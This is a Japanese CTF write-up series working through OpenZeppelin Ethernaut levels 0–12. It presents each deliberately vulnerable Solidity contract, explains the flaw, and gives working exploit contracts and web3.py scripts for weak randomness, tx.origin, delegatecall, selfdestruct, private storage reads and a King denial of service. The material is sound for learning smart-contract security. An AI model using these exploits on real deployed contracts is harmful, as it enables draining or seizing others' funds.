本シリーズはOpenZeppelin Ethernaut CTF の挑戦記録で、Solidity のセキュリティを学びながら遊ぶことを目的としています。
#0 Hello Ethernaut#
1. MetaMask の設定#
MetaMask プラグインをインストールします。
2. ブラウザのコンソールを開く#
player
を入力して自分のウォレットアドレスを確認します。
3. コンソールヘルパーを使用する#
getBalance(player)
を呼び出してインタラクションします。
4. Ethernaut コントラクト#
ethernaut
を入力してコントラクト情報を確認します。
5. ABI とインタラクションする#
コントラクトの ABI インターフェースはコントラクトの public メソッドを公開し、ethernaut.owner()
のような簡単なインタラクションが可能です。
6. テスト Ether を取得する#
以下の水道から ETH を取得します。
https://faucets.chain.link/rinkeby
7. レベルインスタンスを取得する#
コントラクトインスタンスを生成します。
8. コントラクトを検査する#
9. コントラクトとインタラクションしてレベルをクリアする#
指示に従って段階的に呼び出します。
WIn!
附上通关後に提供された完全なコントラクトコード
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract Instance {
string public password;
uint8 public infoNum = 42;
string public theMethodName = 'The method name is method7123949.';
bool private cleared = false;
// constructor
constructor(string memory _password) public {
password = _password;
}
function info() public pure returns (string memory) {
return 'You will find what you need in info1().';
}
function info1() public pure returns (string memory) {
return 'Try info2(), but with "hello" as a parameter.';
}
function info2(string memory param) public pure returns (string memory) {
if(keccak256(abi.encodePacked(param)) == keccak256(abi.encodePacked('hello'))) {
return 'The property infoNum holds the number of the next info method to call.';
}
return 'Wrong parameter.';
}
function info42() public pure returns (string memory) {
return 'theMethodName is the name of the next method.';
}
function method7123949() public pure returns (string memory) {
return 'If you know the password, submit it to authenticate().';
}
function authenticate(string memory passkey) public {
if(keccak256(abi.encodePacked(passkey)) == keccak256(abi.encodePacked(password))) {
cleared = true;
}
}
function getCleared() public view returns (bool) {
return cleared;
}
}
#1 Fallback#
コントラクトコード
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import '@openzeppelin/contracts/math/SafeMath.sol';
contract Fallback {
using SafeMath for uint256;
mapping(address => uint) public contributions;
address payable public owner;
constructor() public {
owner = msg.sender;
contributions[msg.sender] = 1000 * (1 ether);
}
modifier onlyOwner {
require(
msg.sender == owner,
"caller is not the owner"
);
_;
}
function contribute() public payable {
require(msg.value < 0.001 ether);
contributions[msg.sender] += msg.value;
if(contributions[msg.sender] > contributions[owner]) {
owner = msg.sender;
}
}
function getContribution() public view returns (uint) {
return contributions[msg.sender];
}
function withdraw() public onlyOwner {
owner.transfer(address(this).balance);
}
receive() external payable {
require(msg.value > 0 && contributions[msg.sender] > 0);
owner = msg.sender;
}
}
クリア条件
- このコントラクトの所有権を取得する
- 残高を 0 にする
これは役に立つかもしれません
- ABI とインタラクションして Ether を送信する方法
- ABI の外で Ether を送信する方法
- wei/ether 単位の変換(
help()
コマンドを参照) - Fallback メソッド
まずコントラクトを観察し、所有権を取得するにはowner=msg.sender
にする必要があります。
コンストラクタ以外には、2 つのエントリポイントが満たされます。
次に、トリガーされる可能性を分析します。
contribute()
ではmsg.sender
の貢献値がowner
より大きくなる必要がありますが、owner
の貢献値は1000eth
なので、この関数を利用するのは難しいです。
次にreceive()
関数を見てみると、この関数をトリガーし、msg.value
とmsg.sender
の貢献値が 0 より大きい必要があります。
receive()
とfallback
のトリガーは以下の図で示されます。
fallback()をトリガーするか、receive()をトリガーするか?
ETHを受け取る
|
msg.dataは空ですか?
/ \
はい いいえ
/ \
receive()は存在しますか? fallback()
/ \
はい いいえ
/ \
receive() fallback()
したがって、全体の攻撃の流れは次のようになります
-
まず
contribute()
を呼び出し、msg.value < 0.001 eth
を設定します。 -
転送を呼び出し、
msg.value = 0.0001
(0 より大きければよい)を設定してreceive()
をトリガーします。 -
withdraw()
を呼び出してコントラクトを空にします。
攻撃の流れ
次にチェックを行います。
#2 Fallout#
コントラクトコード
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import '@openzeppelin/contracts/math/SafeMath.sol';
contract Fallout {
using SafeMath for uint256;
mapping (address => uint) allocations;
address payable public owner;
// constructor
function Fal1out() public payable {
owner = msg.sender;
allocations[owner] = msg.value;
}
modifier onlyOwner {
require(
msg.sender == owner,
"caller is not the owner"
);
_;
}
function allocate() public payable {
allocations[msg.sender] = allocations[msg.sender].add(msg.value);
}
function sendAllocation(address payable allocator) public {
require(allocations[allocator] > 0);
allocator.transfer(allocations[allocator]);
}
function collectAllocations() public onlyOwner {
msg.sender.transfer(address(this).balance);
}
function allocatorBalance(address allocator) public view returns (uint) {
return allocations[allocator];
}
}
クリア条件
- コントラクトの所有権を取得する
コントラクト分析
このコントラクトは、預金、引き出し、残高確認の機能を実装しています。
前の問題と同様に、コントラクトの所有権を取得するにはowner = msg.sender
のコードに注目する必要があります。
注意深く比較すると、Fal1out()
とFallout
は 1 文字の違いしかなく、このコントラクトにはコンストラクタが存在しないことがわかります。Fal1out()
は単なる public メソッドとして存在しているだけですので、この関数を呼び出すだけで良いのです。
攻撃の流れ
コントラクトのowner
アドレスがデフォルト値であることを確認できます。
呼び出して攻撃を完了させることでコントラクトの所有権を取得できます。
Win!
#3 Coin Flip#
コントラクトコード
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import '@openzeppelin/contracts/math/SafeMath.sol';
contract CoinFlip {
using SafeMath for uint256;
uint256 public consecutiveWins;
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
constructor() public {
consecutiveWins = 0;
}
function flip(bool _guess) public returns (bool) {
uint256 blockValue = uint256(blockhash(block.number.sub(1)));
if (lastHash == blockValue) {
revert();
}
lastHash = blockValue;
uint256 coinFlip = blockValue.div(FACTOR);
bool side = coinFlip == 1 ? true : false;
if (side == _guess) {
consecutiveWins++;
return true;
} else {
consecutiveWins = 0;
return false;
}
}
}
クリア条件
consecutiveWins
を 10 以上にする
コントラクト分析
FACTOR の値は実際には 2^255 で、ブロックのハッシュを true/false にランダムに分配します。
このコントラクトを攻撃する上で最も重要な点は、blockValue
を知ることです。
私たちはblock.number
を通じて現在のトランザクションが属するブロックを取得することしかできませんが、Ethereum ネットワーク内ではトランザクションが常に進行中であり、次のトランザクションのブロックは大きく変わる可能性があります。
しかし、攻撃コントラクトと攻撃対象コントラクトのトランザクションの時間差を極小にすることができれば、他のトランザクションが同じブロックに属することになります。
攻撃コントラクトを通じて現在のblockValue
とcoinFlip
を計算し、その後攻撃対象コントラクトのflip()
を呼び出すことで、毎回の推測が正しくなり、10 回攻撃コントラクトを呼び出すことでconsecutiveWins
を 10 以上にすることができます。
Exp
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import '../SafeMath.sol';
// 複数のトランザクションが同じブロックに属する特性を利用
contract CoinFlip {
using SafeMath for uint256;
uint256 public consecutiveWins;
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
constructor() public {
consecutiveWins = 0;
}
function flip(bool _guess) public returns (bool) {
uint256 blockValue = uint256(blockhash(block.number.sub(1)));
if (lastHash == blockValue) {
revert();
}
lastHash = blockValue;
uint256 coinFlip = blockValue.div(FACTOR);
bool side = coinFlip == 1 ? true : false;
if (side == _guess) {
consecutiveWins++;
return true;
} else {
consecutiveWins = 0;
return false;
}
}
}
contract Attack {
using SafeMath for uint256;
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
CoinFlip hackFilp;
function Target(address target) public {
hackFilp = CoinFlip(target);
}
function flip() public {
uint blockValue = uint256(blockhash(block.number.sub(1)));
if (lastHash == blockValue){
revert();
}
lastHash = blockValue;
uint coinFlip = blockValue.div(FACTOR);
bool side = coinFlip == 1 ? true : false;
if(side == true){
// 攻撃対象のコントラクトのflip関数を呼び出す flip(true);
hackFilp.flip(true);
}else{
// 攻撃対象のコントラクトのflip関数を呼び出す flip(false);
hackFilp.flip(false);
}
}
}
攻撃の流れ
攻撃対象コントラクトのアドレスを取得します。
攻撃コントラクトをデプロイし、Target
を初期化します。
flip()
を 1 回呼び出した後
10 回連続して呼び出すだけです。
Win!!
#4 Telephone#
検討内容:tx.origin
コントラクトコード#
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract Telephone {
address public owner;
constructor() public {
owner = msg.sender;
}
function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}
}
クリア条件#
- コントラクトの所有権を取得する
コントラクト分析#
全体のコントラクトコードは非常に短く、以前には接触したことのない概念tx.origin
が登場します。これは、呼び出しスタック全体を遍歴し、最初に呼び出し(またはトランザクション)を送信したアカウントのアドレスを返します。
したがって、changeOwner
を呼び出すアドレスが攻撃対象コントラクトのmsg.sender
と異なるようにすれば良いのです。
攻撃コントラクトをデプロイして間接的な呼び出しを達成することができます。
Exp#
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract Telephone {
address public owner;
constructor() public {
owner = msg.sender;
}
function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}
}
contract Attack {
Telephone hackTelphone;
function Init(address _address) public{
hackTelphone = Telephone(_address);
}
function attack() public {
hackTelphone.changeOwner(msg.sender);
}
}
攻撃の流れ#
攻撃対象コントラクトのアドレスを取得します。
攻撃コントラクトをデプロイし、attack()
を呼び出します。
contract.owner
を確認すると、すでに変更されていることがわかります。
Win!!
#5 Token#
検討内容:外部アカウントとコントラクトアカウント、整数オーバーフロー
コントラクトコード#
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract Token {
mapping(address => uint) balances;
uint public totalSupply;
constructor(uint _initialSupply) public {
balances[msg.sender] = totalSupply = _initialSupply;
}
function transfer(address _to, uint _value) public returns (bool) {
require(balances[msg.sender] - _value >= 0);
balances[msg.sender] -= _value;
balances[_to] += _value;
return true;
}
function balanceOf(address _owner) public view returns (uint balance) {
return balances[_owner];
}
}
クリア条件#
- 手元のトークン数量を増やす
コントラクト分析#
外部アカウントとコントラクトアカウントの問題が依然として存在します。外部アカウントは複数のコントラクトアカウントを作成できます。
ここに CTFWIKI の説明を貼ります。
ここでは、コントラクトアカウント内の初期のtoken
を外部アカウントに転送することができます。
Exp#
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract Token { // 外部アカウントとコントラクトアカウントの違い
mapping(address => uint) balances;
uint public totalSupply;
constructor(uint _initialSupply) public {
balances[msg.sender] = totalSupply = _initialSupply;
}
function transfer(address _to, uint _value) public returns (bool) {
require(balances[msg.sender] - _value >= 0);
balances[msg.sender] -= _value;
balances[_to] += _value;
return true;
}
function balanceOf(address _owner) public view returns (uint balance) {
return balances[_owner];
}
}
contract Attack {
Token hackToken;
function init(address _addr) public {
hackToken = Token(_addr);
}
function hack() public {
hackToken.transfer(msg.sender,5);
}
}
攻撃の流れ#
攻撃対象コントラクトのアドレスを取得します。
攻撃コントラクトをデプロイします。
外部アカウントのトークン数量が変更されていることがわかります。
Win!!
余談 —— 整数オーバーフローの脆弱性#
ここでのバージョンは 0.8.0 未満であり、safeMath
ライブラリを使用しない場合、整数オーバーフローの脆弱性が存在します。
ここでの攻撃コードを次のように変更できます。
ここでの検証を回避できることがわかります。即ち、20-21=2^256-1
です。
#6 Delegation#
検討内容:Delegation 攻撃
コントラクトコード#
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract Delegate {
address public owner;
constructor(address _owner) public {
owner = _owner;
}
function pwn() public {
owner = msg.sender;
}
}
contract Delegation {
address public owner;
Delegate delegate;
constructor(address _delegateAddress) public {
delegate = Delegate(_delegateAddress);
owner = msg.sender;
}
fallback() external {
(bool result,) = address(delegate).delegatecall(msg.data);
if (result) {
this;
}
}
}
クリア条件#
- Delegation コントラクトの owner を Attacker に変更する
前提知識(コントラクト呼び出しの 3 つの方法)#
_Name (_Address).f () 形式#
通常、コントラクトのアドレスとコントラクトコード(ABI インターフェース)を使用してコントラクトの参照を作成します:_Name(_Address)
、ここで_Name
はコントラクト名、_Address
はコントラクトアドレスです。そして、コントラクトの参照を使用してその関数を呼び出します:_Name(_Address).f()
、ここでf()
は呼び出す関数です。
Call#
call
はaddress
型の低レベルメンバー関数で、他のコントラクトとインタラクションするために使用されます。返り値は(bool, data)
で、call
が成功したかどうかと、ターゲット関数の返り値に対応します。
Call
の使用ルール:
ターゲットコントラクトアドレス.call{value:送信額, gas:gas額}(abi.encodeWithSignature("関数シグネチャ", カンマ区切りの具体的な引数))
Delegatecall#
Delegatecall
の使用ルールはCall
と似ていますが、実行コンテキストが異なります。
Call の実行コンテキスト
DelegateCall
の実行コンテキスト
コントラクト分析#
この問題に与えられた 2 つのコントラクト、1 つはDelegate
コントラクトで、委任実行されるコントラクト、もう 1 つはDelegation
コントラクトで、他者に実行を委任するコントラクトです。
まずDelegate
コントラクトを分析します。このコントラクトの内容は非常にシンプルで、唯一注目すべき点はpwn()
関数です。この関数はowner
を変更できるため、優先的に利用する関数です。
次にDelegation
コントラクトを見てみると、このコントラクトではDelegateCall
操作が行われており、これをトリガーする必要があります。つまり、fallback()
関数をトリガーする必要がありますが、これを実現するためには存在しない関数を呼び出す必要があります。この存在しない関数をpwn()
関数で置き換えることで、完全なトリガーチェーンを達成できます。
Exp#
from web3 import Web3
rpc_url = 'https://sepolia.infura.io/v3/{}' # # fill with your rpc_url
w3 = Web3(Web3.HTTPProvider(rpc_url))
assert w3.isConnected()
private_key = '' # fill with your private_key
account = w3.eth.account.privateKeyToAccount(private_key)
vul_addr = '0x0f5343F75EFF3d28F32954E2497F3f3Ddadb9837'
vul_abi = [
{
"inputs": [
{
"internalType": "address",
"name": "_owner",
"type": "address"
}
],
"stateMutability": "nonpayable",
"type": "constructor"
},
{
"inputs": [],
"name": "owner",
"outputs": [
{
"internalType": "address",
"name": "",
"type": "address"
}
],
"stateMutability": "view",
"type": "function"
},
{
"inputs": [],
"name": "pwn",
"outputs": [],
"stateMutability": "nonpayable",
"type": "function"
}
]
vul_contarct = w3.eth.contract(address=vul_addr, abi=vul_abi)
TransactionData ={
'chainId': w3.eth.chain_id,
'from': account.address,
'to':vul_addr,
'gas': 3000000,
'gasPrice': w3.toWei(7000000000,'wei'),
'nonce': w3.eth.getTransactionCount(account.address),
'value': w3.toWei(0,'wei'),
'data':w3.keccak(text="pwn()")[0:10]
}
signed_txn = w3.eth.account.signTransaction(TransactionData, private_key)
txn_hash = w3.eth.sendRawTransaction(signed_txn.rawTransaction).hex()
print(txn_hash)
txrecipet = w3.eth.waitForTransactionReceipt(txn_hash)
print(txrecipet)
参考資料:WTF Academy
#7 Force#
検討内容:Selfdestruct 攻撃
コントラクトコード#
コントラクト内には内容がありません!
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract Force {/*
MEOW ?
/\_/\ /
____/ o o \
/~____ =ø= /
(______)__m_m)
*/}
クリア条件#
- コントラクトの残高を 0 にする
前提知識#
Selfdestruct についてはSlowMist の文章を参照してください。ここでは詳しく説明しません。
コントラクト分析#
簡潔に言えば、コントラクトの Selfdestruct を通じて強制的に転送を行います。
EXP#
// SPDX-License-Identifier: MIT
pragma solidity ^0.4.0-0.8.15;
contract Attack {
constructor() public payable{} // デプロイ時にETHを受け取るため、後でSelfdestructを通じて攻撃対象コントラクトに転送します。
function attack(address addr) public {
selfdestruct(addr);
}
}
Win!
#8 Vault#
検討内容:プライベートデータへのアクセス
コントラクトコード#
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract Vault {
bool public locked;
bytes32 private password;
constructor(bytes32 _password) public {
locked = true;
password = _password;
}
function unlock(bytes32 _password) public {
if (password == _password) {
locked = false;
}
}
}
クリア条件#
- コントラクトの locked を false にする
前提知識#
プライベートデータへのアクセスについてはSlowMist の文章を参照してください。ここでは詳しく説明しません。
コントラクト分析#
要するに、password
が存在するスロットのデータを取得することです。
password
はslot1
に存在します。
EXP#
from web3 import Web3
rpc_url = 'https://sepolia.infura.io/v3/{}' # fill with your rpc_url
w3 = Web3(Web3.HTTPProvider(rpc_url))
assert w3.isConnected()
private_key = '' # fill with your private_key
account = w3.eth.account.privateKeyToAccount(private_key)
vul_addr = '0x2A6A452B0E0aB8F4dD9d6C210853D21B389684E7'
vul_abi = [
{
"inputs": [
{
"internalType": "bytes32[3]",
"name": "_data",
"type": "bytes32[3]"
}
],
"stateMutability": "nonpayable",
"type": "constructor"
},
{
"inputs": [],
"name": "ID",
"outputs": [
{
"internalType": "uint256",
"name": "",
"type": "uint256"
}
],
"stateMutability": "view",
"type": "function",
"constant": "true",
"signature": "0xb3cea217"
},
{
"inputs": [],
"name": "locked",
"outputs": [
{
"internalType": "bool",
"name": "",
"type": "bool"
}
],
"stateMutability": "view",
"type": "function",
"constant": "true",
"signature": "0xcf309012"
},
{
"inputs": [
{
"internalType": "bytes16",
"name": "_key",
"type": "bytes16"
}
],
"name": "unlock",
"outputs": [],
"stateMutability": "nonpayable",
"type": "function",
"signature": "0xe1afb08c"
}
]
vul_contarct = w3.eth.contract(address=vul_addr, abi=vul_abi)
slot1 = w3.eth.get_storage_at(vul_addr,0x1)
password=w3.toHex(slot1)
TransactionData ={
'chainId': w3.eth.chain_id,
'from': account.address,
'to': vul_addr,
'gas': 3000000,
'gasPrice': w3.toWei(7000000000,'wei'),
'nonce': w3.eth.getTransactionCount(account.address),
'value': w3.toWei(0,'wei'),
'data': w3.keccak(text="unlock(bytes32)")[0:10] + password[2:],
}
signed_txn = w3.eth.account.signTransaction(TransactionData, private_key)
txn_hash = w3.eth.sendRawTransaction(signed_txn.rawTransaction).hex()
print(txn_hash)
txrecipet = w3.eth.waitForTransactionReceipt(txn_hash)
print(txrecipet)
Win!
#9 King#
検討内容:コントラクトアカウントが Ether を受け取る条件
コントラクトコード#
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract King {
address payable king;
uint public prize;
address payable public owner;
constructor() public payable {
owner = msg.sender;
king = msg.sender;
prize = msg.value;
}
receive() external payable {
require(msg.value >= prize || msg.sender == owner);
king.transfer(msg.value);
king = msg.sender;
prize = msg.value;
}
function _king() public view returns (address payable) {
return king;
}
}
クリア条件#
- コントラクトを破壊し、king のアドレスが変更できないようにする
前提知識#
コントラクトアカウントが ETH を受け取る機能を実現するには、内部にreceive
またはfallback
関数の定義と実装が必要です。新しく作成されたコントラクトアカウントに最初から ETH を転送したい場合は、コンストラクタに payable 属性を追加する必要があります。
コントラクト分析#
この問題のコントラクトは、実際には「ドラムを叩く」ゲームのようなもので、後の人がコントラクトに ETH を送信すると、前の人は後の人がコントラクトに転送した ETH を受け取ります。このように繰り返されます。私たちが必要なのは、このコントラクトの機能を破壊し、King のアドレスが変更できないようにすることです。したがって、prize の数量よりも多くの ETH を送信し、送信したアカウントが transfer 関数の転送を受け取れないようにすれば良いのです。
攻撃の流れ#
prize の数量を取得します。
await contract.prize().then(v => v.toString())
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.15;
contract Attacker {
constructor(address payable _to) payable {
(bool success, ) = address(_to).call{value: msg.value}(""); // msg.value should > 1000000000000000
require(success, "failed");
}
}
Win!
#11 Elevator#
キーワード:インターフェース
コントラクトコード#
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
interface Building {
function isLastFloor(uint) external returns (bool);
}
contract Elevator {
bool public top;
uint public floor;
function goTo(uint _floor) public {
Building building = Building(msg.sender);
if (! building.isLastFloor(_floor)) {
floor = _floor;
top = building.isLastFloor(floor);
}
}
}
クリア条件#
top
変数の値を true にする
前提知識#
インターフェースの概念は他の言語と似ているため、ここでは詳しく説明しません。
次のコントラクトでは、コントラクトアドレスaddr(0xBC4CA0EdA7647A8aB7C2061c2E118A18a936f13D)
がインターフェース関連の関数の実装を持っている場合、インターフェースによって例示された変数BAYC
によって呼び出された関数は、上記のコントラクトアドレスの実装のロジックに従います。
contract interactBAYC {
// BAYCアドレスを使用してインターフェースコントラクト変数を作成(ETHメインネットワーク)
IERC721 BAYC = IERC721(0xBC4CA0EdA7647A8aB7C2061c2E118A18a936f13D);
// インターフェースを通じてBAYCのbalanceOf()を呼び出して位置を照会
function balanceOfBAYC(address owner) external view returns (uint256 balance){
return BAYC.balanceOf(owner);
}
// インターフェースを通じてBAYCのsafeTransferFrom()を呼び出して安全に転送
function safeTransferFromBAYC(address from, address to, uint256 tokenId) external{
BAYC.safeTransferFrom(from, to, tokenId);
}
}
これにより、インターフェースコントラクト変数のインスタンス化中にリスクのある実装があるかどうかを追跡する必要があるという不安定なポイントが生じます。
また、既存のコントラクトに独自のインターフェースを定義し、それをインスタンス化して呼び出すこともできます。これも関数呼び出しのアプローチに該当します。
コントラクト分析#
この問題のコントラクトを見てみると、goTo
のロジックによれば、top は決してtrue
になりません。攻撃コントラクトを作成し、isLastFloor
関数を攻撃コントラクト内で実装することで、最初の呼び出しでfalse
を返し、2 回目でtrue
を返すようにすれば、条件を満たすことができます。
EXP#
interface ElevatorInterface{
function goTo(uint) external;
}
contract Attack {
bool public top = false;
function isLastFloor(uint) external returns (bool){
bool first = top;
top = !top;
return first;
}
function hack(uint addr) public {
ElevatorInterface(addr).goTo(0);
}
}
#12 Privacy#
キーワード:プライベートデータアクセス
コントラクトコード#
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract Privacy {
bool public locked = true;
uint256 public ID = block.timestamp;
uint8 private flattening = 10;
uint8 private denomination = 255;
uint16 private awkwardness = uint16(now);
bytes32[3] private data;
constructor(bytes32[3] memory _data) public {
data = _data;
}
function unlock(bytes16 _key) public {
require(_key == bytes16(data[2]));
locked = false;
}
/*
A bunch of super advanced solidity algorithms...
,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`
.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,
*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^ ,---/V\
`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*. ~|__(o.o)
^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*' UU UU
*/
}
クリア条件#
locked = false
にする
前提知識#
プライベートデータへのアクセスについてはSlowMist の文章を参照してください。ここでは詳しく説明しません。
コントラクト分析#
bytes16(data[2])
を取得するだけです。
EXP#
from web3 import Web3
rpc_url = ''
w3 = Web3(Web3.HTTPProvider(rpc_url))
assert w3.isConnected()
private_key = ''
account = w3.eth.account.privateKeyToAccount(private_key)
vul_addr = '0xf487e9888E58bBA039dD51ae9AEBB28F04fAfBFB'
vul_abi = [
{
"inputs": [
{
"internalType": "bytes32[3]",
"name": "_data",
"type": "bytes32[3]"
}
],
"stateMutability": "nonpayable",
"type": "constructor"
},
{
"inputs": [],
"name": "ID",
"outputs": [
{
"internalType": "uint256",
"name": "",
"type": "uint256"
}
],
"stateMutability": "view",
"type": "function",
"constant": "true",
"signature": "0xb3cea217"
},
{
"inputs": [],
"name": "locked",
"outputs": [
{
"internalType": "bool",
"name": "",
"type": "bool"
}
],
"stateMutability": "view",
"type": "function",
"constant": "true",
"signature": "0xcf309012"
},
{
"inputs": [
{
"internalType": "bytes16",
"name": "_key",
"type": "bytes16"
}
],
"name": "unlock",
"outputs": [],
"stateMutability": "nonpayable",
"type": "function",
"signature": "0xe1afb08c"
}
]
vul_contarct = w3.eth.contract(address=vul_addr, abi=vul_abi)
slot5 = w3.eth.get_storage_at(vul_addr,0x5)
_key = int(w3.toHex(slot5)[:34],16)
TransactionData = vul_contarct.functions['unlock'](w3.toBytes(_key)).buildTransaction({
'chainId': w3.eth.chain_id,
'from': account.address,
'gas': 3000000,
'gasPrice': w3.toWei(7000000000,'wei'),
'nonce': w3.eth.getTransactionCount(account.address),
'value': w3.toWei(0,'wei')
})
signed_txn = w3.eth.account.signTransaction(TransactionData, private_key)
txn_hash = w3.eth.sendRawTransaction(signed_txn.rawTransaction).hex()
print(txn_hash)
txrecipet = w3.eth.waitForTransactionReceipt(txn_hash)
print(txrecipet)